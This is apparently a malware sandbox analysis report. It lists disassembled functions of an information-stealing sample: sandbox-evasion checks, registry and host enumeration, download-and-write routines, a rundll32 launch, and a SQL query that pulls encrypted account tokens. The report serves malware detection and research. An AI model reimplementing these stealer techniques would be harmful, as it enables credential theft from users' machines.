Instruction ID: e17ca2bf8fb39da35cf654cfb04ed30359ebe63801e33f8f777122e55a65d6c5
Opcode Fuzzy Hash: 48f4b7413470cb3276c60afe27c6050599c7e1b25b920e3e6a5c65917fe61f9c
Instruction Fuzzy Hash: 0B31EA74A00209EFDB24DF94C885BAEB7B5BF48314F108169E915A73D0D778AD42CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414960 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,04207B70,00000000,?,0041D774,00000000,?,00000000,00000000,?,04207B28), ref: 0041496D
HeapAlloc.KERNEL32(00000000), ref: 00414974
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
__aulldiv.LIBCMT ref: 004149AF
__aulldiv.LIBCMT ref: 004149BD
wsprintfA.USER32 ref: 004149E9

Strings

@, xrefs: 0041498A
%d MB, xrefs: 004149E0

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction ID: f510475f390b20142bb5ad9b480526056b42ea6839ab7368ec165d8bd78ed5c1
Opcode Fuzzy Hash: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction Fuzzy Hash: 84111EB0D40208ABDB10DFE4CC49FAE77B8BB48704F104549F715BB284D7B8A9418B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405D40 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

InternetOpenA.WININET(0041D7D3,00000001,00000000,00000000,00000000), ref: 00405DAF
StrCmpCA.SHLWAPI(?,04200FC0), ref: 00405DE7
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00405E2F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00405E53
InternetReadFile.WININET(00410E73,?,00000400,?), ref: 00405E7C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00405EAA
FindCloseChangeNotification.KERNEL32(?,?,00000400), ref: 00405EE9
InternetCloseHandle.WININET(00410E73), ref: 00405EF3
InternetCloseHandle.WININET(00000000), ref: 00405F00

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Internet$CloseFile$HandleOpen$ChangeCrackCreateFindNotificationReadWritelstrcpylstrlen
String ID:
API String ID: 729276229-0
Opcode ID: d280471e5beb2f5dce994cb9d002c263a03ba1c9fc69a466f5796a99ebd4536c
Instruction ID: 46018c2d0393d599e49b8942d3c4f4431f3cc1562104312217daf3d911a1fc92
Opcode Fuzzy Hash: d280471e5beb2f5dce994cb9d002c263a03ba1c9fc69a466f5796a99ebd4536c
Instruction Fuzzy Hash: DB514471A00618ABDB20DF51CC45BEF7779EB44305F1081AAB645B71C0DB78AB85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00413D90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00413D9E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

OpenProcess.KERNEL32(001FFFFF,00000000,00413FCD,0041D28B), ref: 00413DDC
memset.MSVCRT ref: 00413E2A
??_V@YAXPAX@Z.MSVCRT ref: 00413F7E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00413E4C

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 136f340d3def94dd6f6bc6e7af2fbddae3deb45c6c7debbe56f20a408c524ea1
Instruction ID: ba4a912f34a6ab240f03399ec897c117189ceb9282cc0eaf369c81769a73d46f
Opcode Fuzzy Hash: 136f340d3def94dd6f6bc6e7af2fbddae3deb45c6c7debbe56f20a408c524ea1
Instruction Fuzzy Hash: 35513DB0D003189BDB24EF51DC45BEEBB75AB48309F5041AEE11966281DB386BC9CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040B250 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B44D

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040B47B
lstrlen.KERNEL32(00000000), ref: 0040B553
lstrlen.KERNEL32(00000000), ref: 0040B567

Strings

AccountId, xrefs: 0040B472
AccountTokens, xrefs: 0040B319
SELECT service, encrypted_token FROM token_service, xrefs: 0040B3BB
AccountTokens, xrefs: 0040B28A

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: 98abb7acb563c795400b8fdc05e2345934e16dcaff006ece4da3f70605bc90d9
Instruction ID: df2f8e8a8ca21c55da42a3c6f19f5118b3684059388f817d0631ea5bb79e5354
Opcode Fuzzy Hash: 98abb7acb563c795400b8fdc05e2345934e16dcaff006ece4da3f70605bc90d9
Instruction Fuzzy Hash: 07A164759102089BCF14FBA1DC52EEE7739BF54308F51416EF506B2191EF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004136B0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041E2A38), ref: 00415F11
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041E2A50), ref: 00415F2A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041E29A8), ref: 00415F42
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041E29F0), ref: 00415F5A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041E2A08), ref: 00415F73
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041FD818), ref: 00415F8B
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041E3DE8), ref: 00415FA3
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041E3A68), ref: 00415FBC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041E29C0), ref: 00415FD4
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041E29D8), ref: 00415FEC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041E2A20), ref: 00416005
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,04200CD0), ref: 0041601D
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,041E3CA8), ref: 00416035
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,04200B08), ref: 0041604E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011D1

Part of subcall function 00401120: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
Part of subcall function 00401120: ExitProcess.KERNEL32 ref: 0040113E

Part of subcall function 004010D0: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
Part of subcall function 004010D0: VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
Part of subcall function 004010D0: ExitProcess.KERNEL32 ref: 00401103

Part of subcall function 004011E0: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401218
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401226
Part of subcall function 004011E0: ExitProcess.KERNEL32 ref: 00401254

Part of subcall function 00413430: GetUserDefaultLangID.KERNEL32(?,?,004136E6,0041D6E3), ref: 00413434

GetUserDefaultLangID.KERNEL32 ref: 004136E6

Part of subcall function 00401150: ExitProcess.KERNEL32 ref: 00401186

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,042011A0,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,041FD888,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,041FD888,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleLangName__aulldiv$ComputerCreateCurrentGlobalInfoMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1125299040-0
Opcode ID: 19e3f2ad90109acb9ecb49a28c3fe414203e82b8baa863b8814d0b1a2f2bc6c1
Instruction ID: 0037ec1138340b95bb434dc328289296f16cab3c571637fdb93d627daa89b4d0
Opcode Fuzzy Hash: 19e3f2ad90109acb9ecb49a28c3fe414203e82b8baa863b8814d0b1a2f2bc6c1
Instruction Fuzzy Hash: 7E318270A00204AADB04FBF2DC56BEE7779AF08708F10451EF112A61D2DF789A85C7AD

Uniqueness

Uniqueness Score: -1.00%

Function 00414B79 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

RegQueryValueExA.KERNEL32(00000000,04207AC8,00000000,000F003F,?,00000400), ref: 00414C89
lstrlen.KERNEL32(?), ref: 00414C9E
RegQueryValueExA.KERNEL32(00000000,04207B10,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,0041D4B4), ref: 00414D36
RegCloseKey.KERNEL32(00000000), ref: 00414DA5
RegCloseKey.ADVAPI32(00000000), ref: 00414DB7

Strings

%s\%s, xrefs: 00414BEA

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 847608d34753723f8b6f2463fc12b18ad18eee0918edd14efbcc07672997e5c5
Instruction ID: d244d91c33a18a5b0a6d9a0a642cdc181f43283702d6765b4fd500d7f5e12fa2
Opcode Fuzzy Hash: 847608d34753723f8b6f2463fc12b18ad18eee0918edd14efbcc07672997e5c5
Instruction Fuzzy Hash: 59213875A0021CABDB64CB50DC85FE973B9BF88300F0085D9A649A6180DF74AAC6CFE4

Uniqueness

Uniqueness Score: -1.00%

Function 00411D80 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411DA5
RegOpenKeyExA.KERNEL32(80000001,04208520,00000000,00020119,?), ref: 00411DC4
RegQueryValueExA.ADVAPI32(?,042089B8,00000000,00000000,00000000,000000FF), ref: 00411DE8
RegCloseKey.ADVAPI32(?), ref: 00411DF2
lstrcat.KERNEL32(?,00000000), ref: 00411E17
lstrcat.KERNEL32(?,04208760), ref: 00411E2B

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction ID: 8aed71b150b2ed53c6c52757a29982c6d8c6785b9d22af2673d92710ece34b21
Opcode Fuzzy Hash: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction Fuzzy Hash: F641B4B2900108BBCB15EBE0DC86FEE733EAB88745F00454DF71A5A191EE7467848BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00409B30 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,04206728,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00409BB1
lstrlen.KERNEL32(00000000), ref: 00409F6A

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000,00000000), ref: 00409CAD
DeleteFileA.KERNEL32(00000000), ref: 00409FEB

Strings

X@, xrefs: 00409BC4, 00409BF0, 00409FCD, 00409BC7, 00409BF3, 00409FD0

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID: X@
API String ID: 3258613111-2850556465
Opcode ID: 807d1a8c60ec46bf374704b59fd0ccc8b18b230b7b558d1a499820440742b74a
Instruction ID: 70962d3f4e1e977daa55f2855abdfba287f36735b870bb76fdd61a7d9847a281
Opcode Fuzzy Hash: 807d1a8c60ec46bf374704b59fd0ccc8b18b230b7b558d1a499820440742b74a
Instruction Fuzzy Hash: BCD10376D101089ACB14FBA5DC91EEE7739BF14304F51825EF51672091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 00410FA0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 251COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,04206728,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

ShellExecuteEx.SHELL32(0000003C), ref: 00411307

Strings

.dll, xrefs: 00411054
<, xrefs: 004112AC
C:\Windows\system32\rundll32.dll, xrefs: 004110BF
"" , xrefs: 004111DC

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteFolderPathShellSystemTimelstrlen
String ID: "" $.dll$<$C:\Windows\system32\rundll32.dll
API String ID: 672783590-3078973353
Opcode ID: 4eb6d38009e4268714a703d91e073a73371bb23bb8bdfb4da96119e8d02b733f
Instruction ID: ff393b419b3d9cd89bf84e2a65158e8723a283ad60ef2a05342f0777a40cb69c
Opcode Fuzzy Hash: 4eb6d38009e4268714a703d91e073a73371bb23bb8bdfb4da96119e8d02b733f
Instruction Fuzzy Hash: 19A124759101089ACB15FB91DC92FDEB739AF14304F51425FE10666095EF38ABCACFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004123F0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,04207D38), ref: 0041244B

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412471
lstrcat.KERNEL32(?,?), ref: 00412490
lstrcat.KERNEL32(?,?), ref: 004124A4
lstrcat.KERNEL32(?,042005D0), ref: 004124B7
lstrcat.KERNEL32(?,?), ref: 004124CB
lstrcat.KERNEL32(?,04207F40), ref: 004124DF

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00415490: GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Part of subcall function 004121F0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00412200
Part of subcall function 004121F0: HeapAlloc.KERNEL32(00000000), ref: 00412207
Part of subcall function 004121F0: wsprintfA.USER32 ref: 00412223
Part of subcall function 004121F0: FindFirstFileA.KERNEL32(?,?), ref: 0041223A

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: a8cdaff6348467220e46ecbe5bbad888972f2388953b3a41efaa7fa85cce1e20
Instruction ID: 26a05e4f659b4c4b868bb0234a0ad995871bbc4a3af1f84cd303f322fad0653f
Opcode Fuzzy Hash: a8cdaff6348467220e46ecbe5bbad888972f2388953b3a41efaa7fa85cce1e20
Instruction Fuzzy Hash: 083164B6900608A7CB20FBB0DC95EE9773DAB48704F40458EB3469A051EA7897C8CFD8

Uniqueness

Uniqueness Score: -1.00%

Function 004011E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
__aulldiv.LIBCMT ref: 00401218
__aulldiv.LIBCMT ref: 00401226
ExitProcess.KERNEL32 ref: 00401254

Strings

@, xrefs: 004011F3

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction ID: 7bcd30568b3a9749f5c78c38f6ef54fea4689c821e8202ed383253ad67bcf250
Opcode Fuzzy Hash: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction Fuzzy Hash: 8601FFB0940208EADB10EFD0CD4AB9EBBB8AB54705F204059E705B62D0D6785545875D

Uniqueness

Uniqueness Score: -1.00%

Function 6C8FC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C8FC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C8FC969
GetSystemInfo.KERNEL32(?), ref: 6C8FC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C8FC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C8FC9E2

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: bc62a066049fcee574af27ab2eeb2a17c0adb4704fd2b80a4a20d385fbd53d7f
